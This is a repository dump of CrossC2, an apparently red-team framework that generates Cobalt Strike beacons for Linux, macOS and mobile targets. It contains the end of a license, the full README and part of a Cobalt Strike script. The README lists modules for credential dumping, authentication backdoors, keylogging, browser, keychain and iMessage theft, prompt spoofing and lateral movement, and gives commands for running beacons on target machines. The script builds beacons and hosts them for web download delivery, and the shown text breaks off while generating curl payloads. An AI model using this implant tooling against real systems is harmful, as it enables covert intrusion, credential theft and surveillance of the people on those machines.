51 | indicate if You modified the Licensed Material and retain an indication of any previous modifications; and
52 | indicate the Licensed Material is licensed under this Public License, and include the text of, or the URI or hyperlink to, this Public License.
53 | You may satisfy the conditions in Section 3(a)(1) in any reasonable manner based on the medium, means, and context in which You Share the Licensed Material. For example, it may be reasonable to satisfy the conditions by providing a URI or hyperlink to a resource that includes the required information.
54 | If requested by the Licensor, You must remove any of the information required by Section 3(a)(1)(A) to the extent reasonably practicable.
55 | If You Share Adapted Material You produce, the Adapter's License You apply must not prevent recipients of the Adapted Material from complying with this Public License.
56 | Section 4 – Sui Generis Database Rights.
57 |
58 | Where the Licensed Rights include Sui Generis Database Rights that apply to Your use of the Licensed Material:
59 |
60 | for the avoidance of doubt, Section 2(a)(1) grants You the right to extract, reuse, reproduce, and Share all or a substantial portion of the contents of the database;
61 | if You include all or a substantial portion of the database contents in a database in which You have Sui Generis Database Rights, then the database in which You have Sui Generis Database Rights (but not its individual contents) is Adapted Material; and
62 | You must comply with the conditions in Section 3(a) if You Share all or a substantial portion of the contents of the database.
63 | For the avoidance of doubt, this Section 4 supplements and does not replace Your obligations under this Public License where the Licensed Rights include other Copyright and Similar Rights.
64 | Section 5 – Disclaimer of Warranties and Limitation of Liability.
65 |
66 | Unless otherwise separately undertaken by the Licensor, to the extent possible, the Licensor offers the Licensed Material as-is and as-available, and makes no representations or warranties of any kind concerning the Licensed Material, whether express, implied, statutory, or other. This includes, without limitation, warranties of title, merchantability, fitness for a particular purpose, non-infringement, absence of latent or other defects, accuracy, or the presence or absence of errors, whether or not known or discoverable. Where disclaimers of warranties are not allowed in full or in part, this disclaimer may not apply to You.
67 | To the extent possible, in no event will the Licensor be liable to You on any legal theory (including, without limitation, negligence) or otherwise for any direct, special, indirect, incidental, consequential, punitive, exemplary, or other losses, costs, expenses, or damages arising out of this Public License or use of the Licensed Material, even if the Licensor has been advised of the possibility of such losses, costs, expenses, or damages. Where a limitation of liability is not allowed in full or in part, this limitation may not apply to You.
68 | The disclaimer of warranties and limitation of liability provided above shall be interpreted in a manner that, to the extent possible, most closely approximates an absolute disclaimer and waiver of all liability.
69 | Section 6 – Term and Termination.
70 |
71 | This Public License applies for the term of the Copyright and Similar Rights licensed here. However, if You fail to comply with this Public License, then Your rights under this Public License terminate automatically.
72 | Where Your right to use the Licensed Material has terminated under Section 6(a), it reinstates:
73 |
74 | automatically as of the date the violation is cured, provided it is cured within 30 days of Your discovery of the violation; or
75 | upon express reinstatement by the Licensor.
76 | For the avoidance of doubt, this Section 6(b) does not affect any right the Licensor may have to seek remedies for Your violations of this Public License.
77 | For the avoidance of doubt, the Licensor may also offer the Licensed Material under separate terms or conditions or stop distributing the Licensed Material at any time; however, doing so will not terminate this Public License.
78 | Sections 1, 5, 6, 7, and 8 survive termination of this Public License.
79 | Section 7 – Other Terms and Conditions.
80 |
81 | The Licensor shall not be bound by any additional or different terms or conditions communicated by You unless expressly agreed.
82 | Any arrangements, understandings, or agreements regarding the Licensed Material not stated herein are separate from and independent of the terms and conditions of this Public License.
83 | Section 8 – Interpretation.
84 |
85 | For the avoidance of doubt, this Public License does not, and shall not be interpreted to, reduce, limit, restrict, or impose conditions on any use of the Licensed Material that could lawfully be made without permission under this Public License.
86 | To the extent possible, if any provision of this Public License is deemed unenforceable, it shall be automatically reformed to the minimum extent necessary to make it enforceable. If the provision cannot be reformed, it shall be severed from this Public License without affecting the enforceability of the remaining terms and conditions.
87 | No term or condition of this Public License will be waived and no failure to comply consented to unless expressly agreed to by the Licensor.
88 | Nothing in this Public License constitutes or may be interpreted as a limitation upon, or waiver of, any privileges and immunities that apply to the Licensor or You, including from the legal processes of any jurisdiction or authority.
89 | Creative Commons is not a party to its public licenses. Notwithstanding, Creative Commons may elect to apply one of its public licenses to material it publishes and in those instances will be considered the “Licensor.” The text of the Creative Commons public licenses is dedicated to the public domain under the CC0 Public Domain Dedication. Except for the limited purpose of indicating that material is shared under a Creative Commons public license or as otherwise permitted by the Creative Commons policies published at creativecommons.org/policies, Creative Commons does not authorize the use of the trademark “Creative Commons” or any other trademark or logo of Creative Commons without its prior written consent including, without limitation, in connection with any unauthorized modifications to any of its public licenses or any other arrangements, understandings, or agreements concerning use of licensed material. For the avoidance of doubt, this paragraph does not form part of the public licenses.
90 |
91 | Creative Commons may be contacted at creativecommons.org.
92 |
--------------------------------------------------------------------------------
/README_full.md:
--------------------------------------------------------------------------------
1 | # CrossC2 framework
2 |
3 | [README](README.md) | [中文文档](README_zh.md)
4 |
5 | 🚀 For a faster way, see **cna** introduction [GO📌](#cna-plugin-way)
6 |
7 | 🔥 **Linux** & **MacOS** supports no file landing, load and execute from memory **dynamic library** or **executable file** [GO📖](https://gloxec.github.io/CrossC2/en/api/)
8 |
9 | 🔥 Flexibly customize the data return type of the execution file, **portscan**, **screenshot**, **keystrokes**, **credentials** and other user-defined development to achieve more convenient implementation [GO📖](https://gloxec.github.io/CrossC2/en/api/commons.html) ( [Sample: GO📌](#CustomExtension) )
10 |
11 | 🔥 Custom communication protocol [GO📖](https://gloxec.github.io/CrossC2/en/protocol/)
12 |
13 | 🔥 Now supports lateral movement [GO📌](#Lateral-movement:-Usage)
14 |
15 | 🔥 Now supports loading scripts from memory [GO📌](#Run-script-in-memory)
16 |
17 | 🎉 **Android** & **iPhone** support [GO📌](#Mobile)
18 |
19 |
20 | # CrossC2 framework - Generator CobaltStrike's cross-platform beacon
21 |
22 | ```
23 |
24 | ▄████▄ ██▀███ ▒█████ ██████ ██████ ▄████▄ ██████▄
25 | ▒██▀ ▀█ ▓██ ▒ ██▒▒██▒ ██▒▒██ ▒ ▒██ ▒ ▒██▀ ▀█ ██░
26 | ▒▓█ ▄ ▓██ ░▄█ ▒▒██░ ██▒░ ▓██▄ ░ ▓██▄ ▒▓█ █████▒
27 | ▒▓▓▄ ▄██▒▒██▀▀█▄ ▒██ ██░ ▒ ██▒ ▒ ██▒ ▒▓▓▄ ▄█ ░▒██
28 | ▒ ▓███▀ ░░██▓ ▒██▒░ ████▓▒░▒██████▒▒▒██████▒▒ ▒ ▓███▀ ░▒▓█████▓
29 | ░ ░▒ ▒ ░░ ▒▓ ░▒▓░░ ▒░▒░▒░ ▒ ▒▓▒ ▒ ░▒ ▒▓▒ ▒ ░ ░ ░▒ ▒ ░▒ ░▓ ░░
30 | ░ ▒ ░▒ ░ ▒░ ░ ▒ ▒░ ░ ░▒ ░ ░░ ░▒ ░ ░ ░ ▒ ░ ░░ ░
31 | ░ ░░ ░ ░ ░ ░ ▒ ░ ░ ░ ░ ░ ░ CrossC2 v2.0 @hook
32 | ░ ░ ░ ░ ░ ░ ░ ░ ░ ░
33 | ░ ░
34 | ```
35 |
36 | 
37 | 
38 |
39 | # Description
40 |
41 | A security framework for enterprises and Red Team personnel, supports CobaltStrike's penetration testing of other platforms (Linux / MacOS / ...), supports custom modules, and includes some commonly used penetration modules.
42 |
43 | `Only for internal use by enterprises and organizations, this framework has a certain degree of instability. Non-professionals are not allowed to use it. Anyone shall not use it for illegal purposes and profitability. Besides that, publishing unauthorized modified version is also prohibited, or otherwise bear legal responsibilities.`
44 |
45 |
46 |
47 | | | Windows | Linux | MacOS | iOS | Android | Embedded |
48 | | --- | --- | --- | --- | --- | --- | --- |
49 | | Run Env (x86) | | √ | | | | |
50 | | Run Env (x64) | √ | √ | √ | | | |
51 | | gen beacon (x86) | | √ | | | √ | |
52 | | gen beacon (x64) | | √ | √ | | | |
53 | | gen beacon (armv7) | | | | ⍻ | √ | |
54 | | gen beacon (arm64) | | | | √ | √ | |
55 | | gen beacon (mips[el]) | | | | | | ⍻ |
56 |
57 | Restricted description:
58 | * CobaltStrike: currently only supports the last version of cs 3.14(bug fixs) and 4.x versions are supported (see the cs4.1 branch for details).
59 | * Linux: For particularly old systems, you can choose "Linux-GLIBC" option in cna (around 2010)
60 | * MacOS: Latest systems only support 64-bit programs
61 | * iOS: sandbox, restricted cmd
62 | * Embedded: only *nix
63 | * ⍻ : Loader is still in progress
64 |
65 | # Install & Usage
66 |
67 | > Download:
68 |
69 | * **CrossC2.cna**
70 | * **genCrossC2** `(If it is a Windows system, download genCrossC2.Win.exe)`
71 |
72 | note⚠️
73 | The two files that genCrossC2.Win.exe needs to depend on are `ucrtbased.dll` and `vcruntime140d.dll`.
74 | You can install the dependencies yourself or use the files provided in the issue to copy to `C:\Windows\System32`
75 | [issue: win_sdk_dll](https://github.com/gloxec/CrossC2/issues/49#issuecomment-748630879)
76 |
77 |
78 | 1. Modify the `genCC2` path in the` CrossC2.cna` script to the **real path**
79 | ```
80 | 77: $genCC2 = "/xxx/xx/xx/genCrossC2.MacOS"; # <-------- fix
81 | ```
82 |
83 | 2. choose `Script Manager`, add `CrossC2.cna` (If successfully installed, the menu bar will have an additional item `CrossC2`)
84 |
85 | > Create listener and copy key:
86 |
87 | For some reasons, only HTTPS beacon is currently supported.
88 |
89 | 1. Copy `.cobaltstrike.beacon_keys` from the cs directory on the **server** to the **local directory.**
90 |
91 | > CustomExtension:
92 |
93 | 1. Add `CrossC2Kit_Loader.cna` after downloading CrossC2Kit. It contains other functions such as memory loading. (The file management function of `cs4.x` version is missing. Only use this Loader to re-enable file management)
94 |
95 | > Method of running beacon:
96 |
97 | * Run the one-click online script generated by the CrossC2 plugin on the target
98 | * After uploading the beacon to the target machine for empowered operation
99 | * Set the working directory for beacon and run: `export CCPATH=/opt/ && /tmp/c2`
100 | * Temporarily specify the protocol library for beacon and run: `/tmp/c2 /tmp/c2-rebind.so`
101 | * Temporarily set C2 configuration for beacon: `export CCHOST=127.0.0.1 && export CCPORT=443 && /tmp/c2`
102 |
103 | ## Reference documents: [📖 Wiki](https://gloxec.github.io/CrossC2/en/usage/)
104 |
105 | ## Module: API introduction [📖 Wiki](https://gloxec.github.io/CrossC2/en/api/)
106 |
107 | It adopts the method of loading memory without landing, and supports dynamic libraries (.so/.dylib) and executable files (ELF/MachO).
108 |
109 | The type of output information can be freely specified at the time of execution. The return type has been predetermined and can be docked with the native return data type of CS.
110 |
111 |
112 | warning⚠️
113 | `⚠️: Although the file is loaded directly from memory, the process can be viewed in ps when the executable file(ELF/MachO) is passed in, but the process name can be customized.`
114 | `⚠️: For special data types, such as passwords, port scan results, etc., please refer to the information returned by the native function of cs, which will be matched according to the regular.`
115 |
116 |
117 |
118 | CustomExtension
119 |
120 | 1. Password dump module: cc2_mimipenguin uses the open source project MimiPenguin2.0, see CrossC2Kit/ mimipenguin/mimipenguin.cna
121 |
122 | 2. Authentication backdoor modules: cc2_auth, cc2_ssh sudo / su / passwd and other authentication backdoors, ssh is connected and the credentials to connect to other hosts will be recorded.
123 |
124 | 3. Information collection modules: cc2_safari_dump, cc2_chrome_dump, cc2_iMessage_dump, cc2_keychain_dump access records of common browsers, as well as iMessage chat content and authentication credentials saved in the keychain will be obtained.
125 |
126 | 4. Traffic proxy module: cc2_frp supports fast TCP/KCP(UDP) reverse socks5 encrypted traffic proxy.
127 |
128 | 5. Keylogger module: cc2_keylogger records user's keyboard input.
129 |
130 | 6. Network detection module: cc2_portscan, cc2_serverscan for port scanning and service version scanning.
131 |
132 | 7. Privilege promotion module: cc2_prompt_spoof induces deception to obtain user account password.
133 |
134 | 8. Task management module: cc2_job manages the modules running in memory.
135 |
136 | 9. ...
137 |
138 |
139 |
140 |
141 | ## Custom communication protocol: API introduction [📖 Wiki](https://gloxec.github.io/CrossC2/en/protocol/)
142 |
143 | Can more easily realize C2Profile configuration and custom communication protocol TCP / UDP and so on.
144 |
145 | ## Lateral movement
146 |
147 | 1. Generate beacon of `Linux-bind` / `MacOS-bind` type
148 | 2. The target in the intranet runs `./MacOS-bind.beacon ` to start the service
149 | 3. Run `connect :` in the session of China Unicom
150 |
151 |
152 | ## Run script in memory
153 |
154 |
155 | Examples
156 |
157 | The script interpreter such as **bash** / **python** / **ruby** / **perl** / **php** in the host can be called directly in the session to execute the script passed into the memory.
158 | `There is no information in the process, all running content is transferred from the memory to the interpreter`
159 | 1. python c:\getsysteminfo.py
160 | 2. python import base64;print base64.b64encode('whoami'); print 'a'*40
161 | 3. php
162 |
163 | Try to load local script:
164 | 
165 |
166 | Try to run the scripting language directly:
167 | 
168 |
169 |
170 |
171 | # Coming soon
172 |
173 | 1. Rich C2Profile support ✔︎ (Choose custom HTTP module when CNA generates beaocn)
174 | 2. Staged Type Shellcode Generation ✔︎ (Only Linux is temporarily supported, and stagerServer needs to be started on the server)
175 | 3. http-proxy (auth) & socks proxy back connection support
176 | 4. Proxy-Pivots ✔︎ (Temporarily adopt the method of connecting back to socks proxy)
177 | 5. node beacon? (Single node type, can host other beacon without relying on teamserver)
178 | 6. Linux & MacOS side so/dylib's reverse shell support, and its derivative process injection functions
179 |
180 | # Examples
181 |
182 |
183 | Mobile
184 |
185 | ## Mobile
186 | 
187 |
188 | 
189 |
190 |
191 |
192 |
193 | MacOS & Linux
194 |
195 | ## MacOS & Linux
196 |
197 | 
198 | 
199 |
200 |
201 |
202 |
203 | CustomExtension
204 |
205 | ## CustomExtension
206 |
207 | Develop dynamic libraries and customize data return types, such as implementing some built-in functions.
208 |
209 | ### keystrokes
210 | 
211 |
212 | ### credentials
213 | 
214 |
215 | ### portscan
216 | 
217 |
218 |
219 |
220 | # ChangeLog
221 |
222 | ## release v2.2.5 - stable :
223 | * -fix The online issue of the high version of Linux introduced by the v2.2.4 version
224 | * -fix A bug where memory execution may fail when passing in parameters
225 | * -fix Fix the bug that caused the crash when the network connection is abnormal, for example, the teamserver suddenly exits abnormally when the package is being sent, etc. #106
226 | * -fix The bug that the connect command does not specify a port when connecting to a child node will exit abnormally #95
227 | * +support CDN server SNI support, now Cloudflare service can be used normally #87
228 | * +support Linux 32&64 bits have supported procfs to obtain process information
229 | * -change When beacon is online, `[config]: alive` will not be displayed by default, and it can be turned on with `export CC_DEBUG=1` #78
230 |
231 | ## release v2.2.4 - stable :
232 | * -fix v2.2.3 beacon online issue #84 #85
233 | * +support Support for obtaining process list information from procfs on Linux
234 |
235 | ## release v2.2.3 :
236 | * -fix Fix the bug that beacon exits when opening the file manager on 32-bit Linux.
237 | * -fix Fix the parsing errors of `bcd`, `bls`, `bupload` and other functions in multi-instruction merge tasks, now you can process the same cna scripts as windows beacon. #81
238 | * +support Add two environment variables to temporarily set the C2 server address for beacon connection. (`CCHOST` & `CCPORT`)
239 | > export CCHOST=127.0.0.1 && export CCPORT=443 && /tmp/c2
240 | * +support Add support for `bupload` function. https://github.com/gloxec/CrossC2/issues/81#issuecomment-841068719
241 |
242 | ## release v2.2.2 - stable :
243 | * -fix Fix some bugs that caused the beacon to fail to start when loading the custom communication protocol library.
244 | * +support Add two mandatory beacon running methods for loading custom communication protocol library
245 |
246 | > 1. export CCPATH=/opt/ && /tmp/c2
247 | (Mandatory setting of a working directory with permissions for beacon, such as `/opt/`)
248 | > 2. /tmp/c2 /tmp/c2-rebind.so
249 | (Mandatory loading of communication protocol library for beacon)
250 |
251 |
252 | Historical version update instructions
253 |
254 | ## release v2.2.1 :
255 | * -fix Fix the problem that the file download speed is too slow (now up to full speed)
256 | * -fix Fix the problem of multiple files at the same time (use the `downloads` command to view the progress)
257 | * -fix Fix the problem that the `/tmp/` directory file permissions on the low-version kernel system do not have the execute permission by default, which causes the `beacon` to fail to start
258 | * -fix Fix the problem that resources are occupied and cause failure when `beacon` is repeatedly online on a low-version kernel system
259 | * -fix Fix the problem that files landing on low-version kernel systems face name conflicts and fail to run
260 |
261 | ## release v2.2 :
262 |
263 | * -change Only CS 4.x (>=4.1) version is supported, lower versions will no longer be supported.
264 | * -fix Fix the protocol rebinding error of the low version of Linux kernel
265 | * +support C2 domain name resolution
266 | * +support Support continuous invocation of memory execution components
267 | * +support Support for adding shell aliases for memory execution, so that other people in the team can directly call the loaded memory execution components through shell commands
268 | * +support python-import support, like powershell-import to provide convenience for python execution
269 | * +support low version GLIBC support of genCrossC2
270 |
271 |
272 | ## release v2.1 :
273 |
274 | * +support Support for parsing and executing scripts from memory
275 | * +support Support CobaltStrike 4.1 (see cs4.1 branch for details)
276 |
277 | ## release v2.0 :
278 |
279 | * -fix Fix the problem of path errors caused by backslashes when uploading files in the file management office
280 | * -fix Long-term testing in various scenarios in the real environment, fixing some hidden problems, and now more stable
281 | * +support Support for lower kernel version systems
282 | * +support Environment variables are automatically set at startup
283 | * +support Delete sensitive env records at startup
284 | * +support The background service process can be linked to the init process at startup
285 | * +support Increase session spawn function
286 | * +support Increase the function of session setting environment variables
287 | * +support Increase the privilege escalation function of session getsystem
288 | * +support Increase session analysis function to handle multiple merge tasks
289 | * +support Increase Mac & Linux lateral movement function
290 |
291 | ## release v1.5 :
292 |
293 | * -fix genCrossC2's bug about protocol rebinding.
294 |
295 | ## release v1.4 :
296 |
297 | * -fix Linux daemon process and joblist display problem.
298 |
299 | ## release v1.3 :
300 |
301 | * +support Support custom communication protocol (HTTP, TCP, UDP...) .
302 | * +support A new joblist module has been added to manage programs running without files in persistent memory.
303 | * +support Reverse proxy module{TCP/KCP(UDP)} that executes without files in memory.
304 |
305 |
306 | md5(genCrossC2.Linux) = 221b3ede4e78fee80f59946f116d7245
307 |
308 | md5(genCrossC2.MacOS) = d216cad3fe3c25ead46b85c7ad7051f1
309 |
310 | md5(genCrossC2.Win.exe) = a573506e8825b46b041ac3b9307a656b
311 |
312 | ## release v1.2 :
313 |
314 | * +support Support manual selection of key files.
315 | * +support Support to generate shellcode.
316 | * -change No longer rely on cobaltstrike.jar (plug-ins can be placed in any directory).
317 | * -change More flexible and convenient Script Unix Web Delivery.
318 |
319 | md5(genCrossC2.Linux) = 2ef7250cc3787d3cbd1e6f99c3c434aa
320 |
321 | md5(genCrossC2.MacOS) = eaabde94dd7fed8dabb37cd67a1171c4
322 |
323 | md5(genCrossC2.Win.exe) = c65ac808ed3a1000b3ff4ebb8c48ea4e
324 |
325 | ## release v1.1 :
326 |
327 | * -fix Multi-language garbled problem fix for memory load execution function
328 |
329 | md5(genCrossC2.Linux) = 2347ed6e30e4655b793a6dbb4d33d25c
330 |
331 | md5(genCrossC2.MacOS) = f530333500a76fe228864f8901af4104
332 |
333 | md5(genCrossC2.Win.exe) = c223e31b2674a8a11d3254f92259e87a
334 |
335 | ## release v1.0 :
336 |
337 | * -fix Test multiple times for a long time in multiple scenarios in real environment, fix some hidden problems, now more stable
338 | * +support Linux & MacOS Supports no file landing, loading and executing from memory
339 | * +support Reserved CS built-in data types, richer user-defined plug-in return data types, free and easy to implement 'portscan' and other native functions
340 |
341 | md5(genCrossC2.Linux) = 12295998d4bffd5b4c4a411fb33428bb
342 |
343 | md5(genCrossC2.MacOS) = c88ce9df47529b243e2215a866d445c5
344 |
345 | md5(genCrossC2.Win.exe) = 51d1814f1ebbab634bce0373ceb7cee6
346 |
347 | ## release v0.4 :
348 |
349 | * -change Multi-threaded background when shell commands are executed
350 | * -change Redirect error output to standard output when shell command is executed.
351 | * +support Add background file download function.
352 |
353 | md5(genCrossC2.Linux) = b2e34f721ec2543b6625e33c8c2935df
354 |
355 | md5(genCrossC2.MacOS) = 4e38a9d9a3eeff309648afc02e2e7664
356 |
357 | ## release v0.3 :
358 |
359 | * +support Compatibility with older versions of GLIBC on older systems Linux (around 2010).
360 |
361 | ## release v0.2 :
362 |
363 | * -fix genCrossC2.Linux crash.
364 | * -fix uploading large file error.
365 | * +support GUI file manager.
366 |
367 | md5(genCrossC2.Linux) = 8256374d88c2149efc102aff7e90b3f9
368 |
369 | md5(genCrossC2.MacOS) = 08fce0a5d964a091d8bf2344d7ab809e
370 |
371 | ## release v0.1 :
372 |
373 | * Support Linux & MacOS beacon generation.
374 |
375 | md5(genCrossC2.Linux) = f4c0cc85c7cdd096d2b7febedc037538
376 |
377 | md5(genCrossC2.MacOS) = 79fff0505092fc2055824ed1289ce8f9
378 |
379 |
380 |
381 |
382 |
--------------------------------------------------------------------------------
/src/CrossC2.cna:
--------------------------------------------------------------------------------
1 | menubar("CrossC2", "generator", 2);
2 |
3 | $CC2_PATH = "/xxx/xx/xx/"; # <-------- fix
4 | $CC2_BIN = "genCrossC2.MacOS";
5 |
6 | popup generator {
7 | separator();
8 | menu "&Create CrossC2 Listener" {
9 | item "&Create reverse HTTPS Listener" {
10 | createCrossC2Listener(true);
11 | }
12 | item "&Create bind TCP Listener" {
13 | createCrossC2Listener(false);
14 | }
15 | }
16 | item "&Scripted Web Delivery (S)" {
17 | createCrossC2Script();
18 | }
19 | item "&About" {
20 | projectAbout()
21 | }
22 | separator();
23 | }
24 |
25 | popup ssh {
26 | menu "&Explore" {
27 | item "&File Browser" {
28 | local('$bid');
29 | foreach $bid ($1) {
30 | openFileBrowser($bid);
31 | }
32 | }
33 | item "&Process List" { openProcessBrowser($1); }
34 | }
35 | item "&Spawn" {
36 | local('$bid');
37 | foreach $bid ($1) {
38 | btask($bid, "[shell]: shell spawn");
39 | bshell($bid, "spawn");
40 | }
41 | }
42 | }
43 |
44 | sub random_string {
45 | # <3 @offsec_ginger
46 | local('$limit @random_str $characters');
47 | $limit = $1;
48 | @random_str = @();
49 | $characters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
50 | for ($x = 0; $x < $limit; $x++) {
51 | $n = rand(strlen($characters));
52 | add(@random_str, charAt($characters, $n));
53 | }
54 | return join('', @random_str);
55 | }
56 |
57 | sub getSystemInfo {
58 | local('$process $sys_data');
59 | $process = exec("/usr/bin/uname");
60 | $sys_data = readAll($process);
61 | closef($process);
62 | if (strlen($sys_data) > 0) {
63 | return 1;
64 | } else {
65 | return 0;
66 | }
67 | }
68 |
69 | sub checkSpace {
70 | local('$realPath');
71 | $realPath = "";
72 | if ($1 eq "null") {
73 | $realPath = $1;
74 | } else {
75 | if (getSystemInfo() == 1) {
76 | $realPath = replace($1, '\p{Space}', "\\\\ ");
77 | } else {
78 | $realPath = replace($1, '\p{Space}', "^ ");
79 | }
80 | if (find($realPath, '\p{Space}') > 0) {
81 | $realPath = "'".$realPath."'";
82 | }
83 | }
84 | return $realPath;
85 | }
86 |
87 | sub createCrossC2ListenerDialogCallBack {
88 | elog("");
89 | local('$reverse_https_flag');
90 | $system = $3['system'];
91 | $arch = $3['arch'];
92 | $upx = $3['upx'];
93 | $listener = $3['listener'];
94 | $outputFileName = $3['outputFileName'];
95 | $beaconKeyPath = $3['beaconKey'];
96 | $c2profile = $3['c2profile'];
97 | $rebind_lib = $3['rebind_lib'];
98 | $config_ini = $3['config_ini'];
99 | $processName = $3['processname'];
100 | $enableSSL = false;
101 | $enableSSL = $3['enableSSL'];
102 | $bindPort = $3['bindPort'];
103 | $domain = localip();
104 | $host = $domain;
105 | $port = $bindPort;
106 | $reverse_https_flag = true;
107 | $cs_version = $3['cs_version'];
108 |
109 | if ($listener eq "Listener: ") {
110 | $reverse_https_flag = false;
111 | }
112 |
113 | if ($config_ini ne "null") {
114 | $rebind_lib = $rebind_lib.";".$config_ini;
115 | } else {
116 | $config_ini = "";
117 | }
118 | if ($c2profile ne "null") {
119 | $rebind_lib = ";".$config_ini.";".$c2profile;
120 | }
121 |
122 | if ($reverse_https_flag) {
123 | $listener_info = listener_info($listener);
124 | $host = $listener_info['host'];
125 | $port = $listener_info['port'];
126 | $domain = $listener_info['beacons'];
127 | $domain = replace($domain, ', ', ',');
128 | }
129 |
130 |
131 | $outputFileName = checkSpace($outputFileName);
132 | $rebind_lib = checkSpace($rebind_lib);
133 | $beaconKeyPath = checkSpace($beaconKeyPath);
134 |
135 |
136 | $genCC2 = $CC2_PATH . $CC2_BIN;
137 | $genCC2 = $genCC2." ".$domain." ". $port." ".$beaconKeyPath." ".$rebind_lib." ".$system." ".$arch." ".$outputFileName;
138 | if ($upx eq "raw") {
139 | $genCC2 = $genCC2." ".$upx;
140 | }
141 | if ($cs_version eq "4.4 - source version") {
142 | if ($upx eq "upx") {
143 | $genCC2 = $genCC2." upx 4.4";
144 | }
145 | }
146 | elog($genCC2);
147 | $process = exec($genCC2);
148 | $run_res = readAll($process);
149 | closef($process);
150 | if (getSystemInfo() == 1) {
151 | elog("genCrossC2 beacon -> ".$run_res[14]);
152 | } else {
153 | elog("genCrossC2 beacon -> ".$run_res[11]);
154 | }
155 | if ($rebind_lib ne 'null') {
156 | if (getSystemInfo() == 1) {
157 | elog("rebind protocol -> ".$run_res[16]);
158 | } else {
159 | elog("rebind protocol -> ".$run_res[13]);
160 | }
161 | }
162 |
163 | $handle = openf($outputFileName);
164 | $c2Data = readb($handle, -1);
165 | closef($handle);
166 |
167 | $c2_libData = '';
168 | if ('-bind' isin $system) {
169 | } else {
170 | # create libbeacon data
171 | $genCC2_lib = $CC2_PATH . $CC2_BIN;
172 | $genCC2_lib = $genCC2_lib." ".$domain." ". $port." ".$beaconKeyPath." ".$rebind_lib." ".$system."-lib ".$arch." ".$outputFileName.".lib";
173 | if ($upx eq "raw") {
174 | $genCC2_lib = $genCC2_lib." ".$upx;
175 | }
176 | if ($cs_version eq "4.4 - source version") {
177 | if ($upx eq "upx") {
178 | $genCC2_lib = $genCC2_lib." upx 4.4";
179 | }
180 | }
181 | elog($genCC2_lib);
182 | $process_lib = exec($genCC2_lib);
183 | $run_res = readAll($process_lib);
184 | closef($process_lib);
185 | $handle_lib = openf($outputFileName.".lib");
186 | $c2_libData = readb($handle_lib, -1);
187 | closef($handle_lib);
188 | if (getSystemInfo() == 1) {
189 | elog("genCrossC2 libbeacon -> ".$run_res[14]);
190 | } else {
191 | elog("genCrossC2 libbeacon -> ".$run_res[11]);
192 | }
193 | if ($rebind_lib ne 'null') {
194 | if (getSystemInfo() == 1) {
195 | elog("rebind protocol -> ".$run_res[16]);
196 | } else {
197 | elog("rebind protocol -> ".$run_res[13]);
198 | }
199 | }
200 | }
201 |
202 | $uri = $3['uri'];
203 | $lport = $3['lport'];
204 |
205 | $targetSaveName = random_string(10);
206 |
207 | # host CrossC2 beacon
208 | $listener_name = "";
209 | if ($reverse_https_flag) {
210 | $listener_name = "CrossC2 beacon: reverse-https $system $arch { $listener }";
211 | # listener中携带了 CrossC2 beacon
212 | listener_create_ext("CrossC2 reverse HTTPS { $listener }{ $system $arch }", "windows/beacon_bind_tcp", %(host => "127.0.0.1", port => 4444, CrossC2Beacon => $c2Data, CrossC2libBeacon => $c2_libData));
213 | } else {
214 | $listener_name = "CrossC2 beacon: bind-tcp $system $arch";
215 | # listener中携带了 CrossC2 beacon
216 | listener_create_ext("CrossC2 bind TCP { $system $arch }", "windows/beacon_bind_tcp", %(host => "127.0.0.1", port => $bindPort, CrossC2Beacon => $c2Data));
217 | }
218 | if ($enableSSL eq 'true') {
219 | $beaconUrl = site_host($host, $lport, "/".$targetSaveName, $c2Data, "automatic", $listener_name.'[https]', true);
220 | } else {
221 | $beaconUrl = site_host($host, $lport, "/".$targetSaveName, $c2Data, "automatic", $listener_name.'[http]', false);
222 | }
223 | elog("create listener: ".$listener_name);
224 | show_message("create listener: ".$listener_name);
225 | }
226 |
227 | sub createCrossC2Listener {
228 | local('$reverse_https_flag');
229 | local('$output_file');
230 | $reverse_https_flag = $1;
231 | $output_file = "/tmp/CrossC2-test";
232 | if (getSystemInfo() == 1) {
233 | $output_file = "/tmp/t_cc2.out";
234 | } else {
235 | $output_file = "t_cc2.out";
236 | }
237 | $dialog = dialog("CrossC2 Listener", %(lport => "55413", beaconKey => "./.cobaltstrike.beacon_keys", c2profile => "null",rebind_lib => "null", config_ini => "null", listener => "Listener: ", system => "System: ", arch => "Arch: ", upx => "upx: ", outputFileName => $output_file, enableSSL => false, bindPort => "4444", cs_version => "4.3"), &createCrossC2ListenerDialogCallBack);
238 | dialog_description($dialog, "");
239 | drow_text($dialog, "lport", "host beacon port: ", 20);
240 | drow_file($dialog, "beaconKey", "Choose: default ./.cobaltstrike.beacon_keys");
241 | if ($reverse_https_flag) {
242 | drow_file($dialog, "c2profile", "[+]Choose: c2profile");
243 | drow_file($dialog, "rebind_lib", "[ ]Choose: rebind_dynamic_lib");
244 | drow_file($dialog, "config_ini", "[ ]Choose: config_ini");
245 | drow_combobox($dialog, "system", "System: ", @("Linux", "MacOS", "ESXI"));
246 | } else {
247 | drow_combobox($dialog, "system", "System: ", @("Linux-bind", "MacOS-bind"));
248 | }
249 | if ($reverse_https_flag) {
250 | drow_listener($dialog, "listener", "Listener: (reverse_https)");
251 | } else {
252 | drow_text($dialog, "bindPort", "CrossC2 bind TCP Listener Port: ");
253 | }
254 | drow_combobox($dialog, "arch", "Arch: ", @("x64", "x86", "M1"));
255 | drow_combobox($dialog, "upx", "upx: ", @("upx", "raw"));
256 | drow_text($dialog, "outputFileName", "OutputFileName: ");
257 | if ($reverse_https_flag) {
258 | drow_checkbox($dialog, "enableSSL", "SSL: ", "Enable SSL");
259 | }
260 | drow_combobox($dialog, "cs_version", "CS Version: ", @("<= 4.8", "4.4 - source version"));
261 | dbutton_action($dialog, "Build");
262 | dialog_show($dialog);
263 | }
264 |
265 | sub projectAboutCallback {
266 | $autoupdate = "java -jar " . $CC2_PATH . "autoupdate.jar";
267 | exec($autoupdate);
268 | }
269 |
270 | sub projectAbout {
271 | $dialog = dialog("Cross C2 About",%(link => "https://github.com/gloxec/CrossC2"), &projectAboutCallback);
272 | dialog_description($dialog, "Export CrossC2 Payload");
273 | dbutton_action($dialog, "update");
274 | drow_text($dialog, "link", "link: ", "");
275 | dialog_show($dialog);
276 | }
277 |
278 |
279 | sub genDownloadPayload {
280 | # "python", "ruby", "pip", "php", "ksh"
281 | local('$type $payloadContentURL $downloadURL');
282 | $type = $1;
283 | $payloadContentURL = $2;
284 | $enableSSL = $3;
285 | $downloadURL = "";
286 | if ($type eq "curl") {
287 | $bypassSSL = "";
288 | if ($enableSSL eq 'true') {
